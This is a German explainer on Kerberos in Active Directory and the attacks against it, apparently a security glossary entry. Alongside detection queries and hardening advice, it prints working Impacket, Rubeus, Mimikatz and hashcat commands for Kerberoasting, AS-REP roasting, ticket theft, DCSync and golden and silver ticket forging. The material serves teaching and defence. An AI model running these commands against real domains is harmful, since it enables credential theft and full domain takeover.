Kerberos - Netzwerk-Authentifizierungsprotokoll - Definition & Erklärung

Kerberos ist das Fundament der Windows-Authentifizierung - und gleichzeitig ein bevorzugtes Angriffsziel bei AD-Penetrationstests. Golden Ticket, Silver Ticket, Kerberoasting: diese Angriffe nutzen legale Kerberos-Mechanismen auf böswillige Weise aus. Ein erfolgreicher Golden-Ticket-Angriff gibt einem Angreifer permanenten, undetektierbaren Domain-Admin-Zugang - solange das KRBTGT-Konto nicht zurückgesetzt wird.

Kerberos Grundprinzip

Beteiligte Parteien

KDC (Key Distribution Center) = Domain Controller
AS (Authentication Service) = Teil des KDC
TGS (Ticket Granting Service) = Teil des KDC
Client = User/Computer
Service = z. B. Fileserver, SQL-Server, Web-Server

Ablauf (Kerberos v5)

Schritt 1 - AS-REQ/AS-REP (TGT holen)

Der Client sendet eine Anfrage an den KDC: „Ich bin Alice, ich möchte ein TGT.” Der KDC prüft, ob Alice bekannt ist (AD-User), und erstellt ein Ticket Granting Ticket (TGT):

Enthält: Alices Session Key (verschlüsselt mit Alices Passwort-Hash)
Das TGT selbst wird mit dem KRBTGT-Account-Hash verschlüsselt

Pre-Authentication (Standard): Der Client verschlüsselt einen Timestamp mit dem eigenen Passwort-Hash; der KDC entschlüsselt und prüft den Timestamp (Anti-Replay). Ohne Pre-Auth ist AS-REP Roasting möglich.

Schritt 2 - TGS-REQ/TGS-REP (Service Ticket holen)

Der Client sendet: „Ich will auf FILESERVER01 zugreifen” + TGT. Der KDC prüft das TGT (Signatur mit KRBTGT-Hash) und erstellt ein Service Ticket (ST), das mit dem Service-Account-Hash verschlüsselt ist.

Schritt 3 - AP-REQ (Service-Zugriff)

Der Client weist dem Service das Service Ticket vor. Der Service entschlüsselt das ST mit dem eigenen Passwort-Hash, prüft die Berechtigung und gewährt den Zugriff.

Wichtige Eigenschaften

Der KDC sieht das Passwort NIE im Klartext
Der Passwort-Hash ist der Master Key für Kerberos
TGT-Gültigkeit: typisch 10 Stunden
Service-Ticket-Gültigkeit: typisch 10 Stunden
KRBTGT-Hash = „Gott-Schlüssel” der gesamten Domain

Kerberoasting

Kerberoasting ist eine Angriffstechnik zum Offline-Cracken von Service Tickets.

Funktionsprinzip

Angreifer besitzt einen beliebigen validen Domain-User-Account
Angreifer fordert Service Tickets für Konten mit SPN (Service Principal Name) an
Das Service Ticket ist mit dem Service-Account-Hash verschlüsselt
Angreifer crackt das Ticket offline (kein Lockout, keine Logs)

Angriff Schritt für Schritt

# Impacket (Python):
GetUserSPNs.py -request -dc-ip 192.168.1.10 domain.local/alice:Password123
# → Listet alle Accounts mit SPNs
# → Lädt Service Tickets herunter
# Ausgabe: $krb5tgs$23$*serviceaccount$DOMAIN.LOCAL*$HASH...

# Rubeus (Windows):
Rubeus.exe kerberoast
# → Automated: listet SPNs + gibt Hashes aus

# PowerView:
Get-NetUser -SPN  # Alle Accounts mit SPNs finden

Offline-Cracking:

# hashcat:
hashcat -m 13100 hashes.txt wordlist.txt
# -m 13100 = Kerberos 5 TGS-REP etype 23 (RC4)

# john:
john --wordlist=rockyou.txt hashes.txt

Erkennung mit Microsoft Sentinel (KQL):

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"  // RC4 - veraltet, verdächtig!
| where ServiceName !endswith "$"  // Kein Computer-Account
| summarize count() by Account, ServiceName, ClientIPAddress
| where count_ > 10  // Viele Service-Ticket-Requests = Kerberoasting!

Schutzmaßnahmen gegen Kerberoasting

Starke Passwörter für Service-Accounts (mehr als 25 Zeichen, komplex)
gMSA (Group Managed Service Accounts) - automatische 240-Zeichen-Passwörter
AES-only Kerberos (kein RC4/NTLM) - erschwert das Cracking erheblich
Monitoring: Event ID 4769 (Service Ticket Request) mit Encryption Type 0x17 (RC4)

AS-REP Roasting

Voraussetzung

Der Account hat „Do not require Kerberos preauthentication” gesetzt - eine Fehlkonfiguration, die historisch für bestimmte Anwendungen nötig war.

Angriff

# Impacket:
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile as-rep-hashes.txt

# Rubeus:
Rubeus.exe asreproast /format:hashcat

# Ohne Credentials (wenn Anonymous LDAP erlaubt):
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt

Cracking:

hashcat -m 18200 as-rep-hashes.txt wordlist.txt
# -m 18200 = Kerberos 5 AS-REP etype 23

Schutz

„Require preauthentication” immer aktiviert lassen
Monitoring: Event ID 4768 ohne Pre-Auth
Starke Passwörter für betroffene Accounts

Ticket-basierte Angriffe

Pass-the-Ticket (PtT)

Gestohlene Kerberos-Tickets werden direkt genutzt - kein Passwort nötig. Tickets sind im LSASS-Speicher oder als .kirbi-Datei exportierbar.

# Mimikatz - Tickets exportieren:
sekurlsa::tickets /export

# Rubeus:
Rubeus.exe dump /nowrap
Rubeus.exe dump /luid:0x3e4 /nowrap  # Spezifische LUID

# Mimikatz - Ticket importieren:
kerberos::ptt ticket.kirbi

# Rubeus:
Rubeus.exe ptt /ticket:base64encodedticket

Nach dem Import zeigt klist das importierte Ticket; der Zugriff auf \\TARGETSERVER\C$ erfolgt dann mit der gestohlenen Identität.

Golden Ticket - Persistenz mit KRBTGT-Hash

Ein selbst gefälschtes TGT, signiert mit dem KRBTGT-Hash. Es ist für 10 Jahre gültig und funktioniert auch nach Passwortänderungen - außer nach dem Zurücksetzen des KRBTGT-Kontos.

Voraussetzung: KRBTGT-Hash extrahieren (erfordert Domain-Admin-Rechte oder DCSync).

# DCSync - KRBTGT-Hash extrahieren (Mimikatz):
lsadump::dcsync /user:DOMAIN\krbtgt

# Impacket secretsdump:
secretsdump.py 'domain.local/adminuser:Password@DC01'

# Golden Ticket erstellen (Mimikatz):
kerberos::golden \
  /user:FakeUser \              # beliebiger Username (muss nicht existieren!)
  /domain:domain.local \
  /sid:S-1-5-21-xxx-xxx-xxx \  # Domain SID
  /krbtgt:KRBTGT_HASH_HERE \   # NTLM-Hash von krbtgt
  /id:500 \                     # RID 500 = Administrator
  /ptt                          # Direkt in Session importieren

Auswirkung: Der Angreifer kann als beliebiger Benutzer (auch nicht existierend) agieren. Solange der KRBTGT-Hash unverändert bleibt, ist der Angriff nicht erkennbar und überlebt alle Admin-Passwortänderungen.

Remediation nach Golden Ticket:

KRBTGT-Passwort zweimal zurücksetzen (innerhalb von 10 Stunden) - einmal reicht nicht, da replizierte Tickets noch gültig sind
Alle verdächtigen Sessions terminieren
Log-Analyse: Event ID 4768/4769 mit unbekannten Usernamen

Silver Ticket - Service-spezifische Persistenz

Ein selbst gefälschtes Service Ticket (kein TGT), signiert mit dem Service-Account-Hash. Geringerer Impact, aber schwerer zu erkennen.

# Silver Ticket (Mimikatz):
kerberos::golden \
  /target:FILESERVER01.domain.local \
  /service:cifs \               # Service: cifs/http/mssql/ldap
  /user:Administrator \
  /domain:domain.local \
  /sid:S-1-5-21-xxx-xxx-xxx \
  /rc4:SERVICE_ACCOUNT_HASH \   # Service-Account-Hash
  /ptt

Die Erkennung ist schwieriger, weil das Ticket nie beim DC angefragt wird (kein Event 4768/4769). Nur der Service-Server sieht den Zugriff. Ein Indiz ist Event ID 4624 (Logon) ohne vorherigen Kerberos-Request.

Unconstrained / Constrained Delegation

Unconstrained Delegation

Der Computer/Service darf das TGT des Users cachen
Kann im Namen des Users jeden anderen Service ansprechen
BloodHound zeigt: „Nodes mit Unconstrained Delegation”

Angriff: Printer Bug + Unconstrained Delegation

Angreifer kontrolliert einen Computer mit Unconstrained Delegation
Angreifer zwingt den DC per Printer Bug, sich zu authentifizieren:

Rubeus.exe monitor /interval:5  # TGT aus Speicher abfangen
SpoolSample.exe DC01 ATTACKERMACHINE  # DC verbindet sich

Das TGT des DC landet auf der Angreifer-Maschine
DCSync mit gestohlener DC-Identität ist möglich

Constrained Delegation

Service darf TGT-Substitution nur für bestimmte Services
Sicherer als Unconstrained, aber Angriffe bleiben möglich

RBCD (Resource-Based Constrained Delegation)

Neueres AD-Feature für Delegation-Control
Angriff: wenn Schreibrechte auf msDS-AllowedToActOnBehalfOfOtherIdentity vorhanden
Ausnutzbar für Privilegien-Eskalation

Schutzmaßnahmen

Unconstrained Delegation auflisten und eliminieren (BloodHound: „Principals with Unconstrained Delegation”)
Sensible Accounts als „Account ist vertraulich und kann nicht delegiert werden” markieren
Protected Users Security Group einsetzen (verhindert Delegation und Caching)